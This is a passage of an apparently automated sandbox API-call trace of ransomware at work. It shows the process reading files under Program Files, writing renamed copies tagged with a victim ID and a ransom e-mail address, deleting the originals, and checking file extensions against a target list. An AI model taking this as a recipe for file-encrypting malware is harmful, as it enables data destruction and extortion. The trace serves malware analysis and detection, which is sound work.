Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.726] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=232) returned 1 [0286.726] CloseHandle (hObject=0x109c) returned 1 [0286.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0286.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.727] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=10569) returned 1 [0286.727] CloseHandle (hObject=0x109c) returned 1 [0286.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0286.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.727] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=230) returned 1 [0286.727] CloseHandle (hObject=0x109c) returned 1 [0286.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0286.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.728] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=7505) returned 1 [0286.728] CloseHandle (hObject=0x109c) returned 1 [0286.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0286.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.729] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2702) returned 1 [0286.729] CloseHandle (hObject=0x109c) returned 1 [0286.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0286.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.730] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=14856) returned 1 [0286.730] CloseHandle (hObject=0x109c) returned 1 [0286.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0286.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.731] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=15195) returned 1 [0286.731] CloseHandle (hObject=0x109c) returned 1 [0286.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0286.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.058] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.058] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0287.058] GetLastError () returned 0x0 [0287.058] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0287.067] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0287.068] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.068] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.068] SetEndOfFile (hFile=0x10bc) returned 1 [0287.069] CloseHandle (hObject=0x10bc) returned 1 [0287.070] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.070] SetEndOfFile (hFile=0x10b8) returned 1 [0287.071] CloseHandle (hObject=0x10b8) returned 1 [0287.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0287.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0287.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.072] lstrlenW (lpString=".doc") returned 4 [0287.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.072] lstrlenW (lpString=".docx") returned 5 [0287.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.072] lstrlenW (lpString=".pdf") returned 4 [0287.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.072] lstrlenW (lpString=".xls") returned 4 [0287.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.072] lstrlenW (lpString=".xlsx") returned 5 [0287.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.072] lstrlenW (lpString=".ppt") returned 4 [0287.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.072] lstrlenW (lpString=".zip") returned 4 [0287.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.072] lstrlenW (lpString=".rar") returned 4 [0287.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.072] lstrlenW (lpString=".bz2") returned 4 [0287.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.072] lstrlenW (lpString=".7z") returned 3 [0287.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.072] lstrlenW (lpString=".dbf") returned 4 [0287.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.072] lstrlenW (lpString=".1cd") returned 4 [0287.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.072] lstrlenW (lpString=".jpg") returned 4 [0287.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.073] lstrlenW (lpString=".doc") returned 4 [0287.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.073] lstrlenW (lpString=".docx") returned 5 [0287.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.073] lstrlenW (lpString=".pdf") returned 4 [0287.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.073] lstrlenW (lpString=".xls") returned 4 [0287.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.073] lstrlenW (lpString=".xlsx") returned 5 [0287.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.073] lstrlenW (lpString=".ppt") returned 4 [0287.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.073] lstrlenW (lpString=".zip") returned 4 [0287.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.073] lstrlenW (lpString=".rar") returned 4 [0287.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.073] lstrlenW (lpString=".bz2") returned 4 [0287.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.073] lstrlenW (lpString=".7z") returned 3 [0287.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.073] lstrlenW (lpString=".dbf") returned 4 [0287.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.073] lstrlenW (lpString=".1cd") returned 4 [0287.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0287.073] lstrlenW (lpString=".jpg") returned 4 [0287.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.073] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.073] lstrlenW (lpString="BL00648_.WMF") returned 12 [0287.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0287.074] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=11500) returned 1 [0287.074] CloseHandle (hObject=0x10b8) returned 1 [0287.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0287.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0287.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0287.074] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.074] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0287.074] GetLastError () returned 0x0 [0287.074] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x2cec, lpOverlapped=0x0) returned 1 [0287.076] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0287.077] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.077] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.077] SetEndOfFile (hFile=0x10bc) returned 1 [0287.077] CloseHandle (hObject=0x10bc) returned 1 [0287.078] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.078] SetEndOfFile (hFile=0x10b8) returned 1 [0287.079] CloseHandle (hObject=0x10b8) returned 1 [0287.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0287.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0287.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.079] lstrlenW (lpString=".doc") returned 4 [0287.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.079] lstrlenW (lpString=".docx") returned 5 [0287.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.079] lstrlenW (lpString=".pdf") returned 4 [0287.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.079] lstrlenW (lpString=".xls") returned 4 [0287.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.080] lstrlenW (lpString=".xlsx") returned 5 [0287.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.080] lstrlenW (lpString=".ppt") returned 4 [0287.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.080] lstrlenW (lpString=".zip") returned 4 [0287.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.080] lstrlenW (lpString=".rar") returned 4 [0287.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.080] lstrlenW (lpString=".bz2") returned 4 [0287.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.080] lstrlenW (lpString=".7z") returned 3 [0287.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.080] lstrlenW (lpString=".dbf") returned 4 [0287.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.080] lstrlenW (lpString=".1cd") returned 4 [0287.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.080] lstrlenW (lpString=".jpg") returned 4 [0287.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.080] lstrlenW (lpString=".doc") returned 4 [0287.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.080] lstrlenW (lpString=".docx") returned 5 [0287.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.080] lstrlenW (lpString=".pdf") returned 4 [0287.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.080] lstrlenW (lpString=".xls") returned 4 [0287.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.081] lstrlenW (lpString=".xlsx") returned 5 [0287.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.081] lstrlenW (lpString=".ppt") returned 4 [0287.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.081] lstrlenW (lpString=".zip") returned 4 [0287.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.081] lstrlenW (lpString=".rar") returned 4 [0287.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.081] lstrlenW (lpString=".bz2") returned 4 [0287.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.081] lstrlenW (lpString=".7z") returned 3 [0287.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.081] lstrlenW (lpString=".dbf") returned 4 [0287.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.081] lstrlenW (lpString=".1cd") returned 4 [0287.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0287.081] lstrlenW (lpString=".jpg") returned 4 [0287.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.081] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.081] lstrlenW (lpString="BL00921_.WMF") returned 12 [0287.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0287.081] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=4408) returned 1 [0287.081] CloseHandle (hObject=0x10b8) returned 1 [0287.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0287.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0287.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0287.082] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.082] SetFilePointerEx 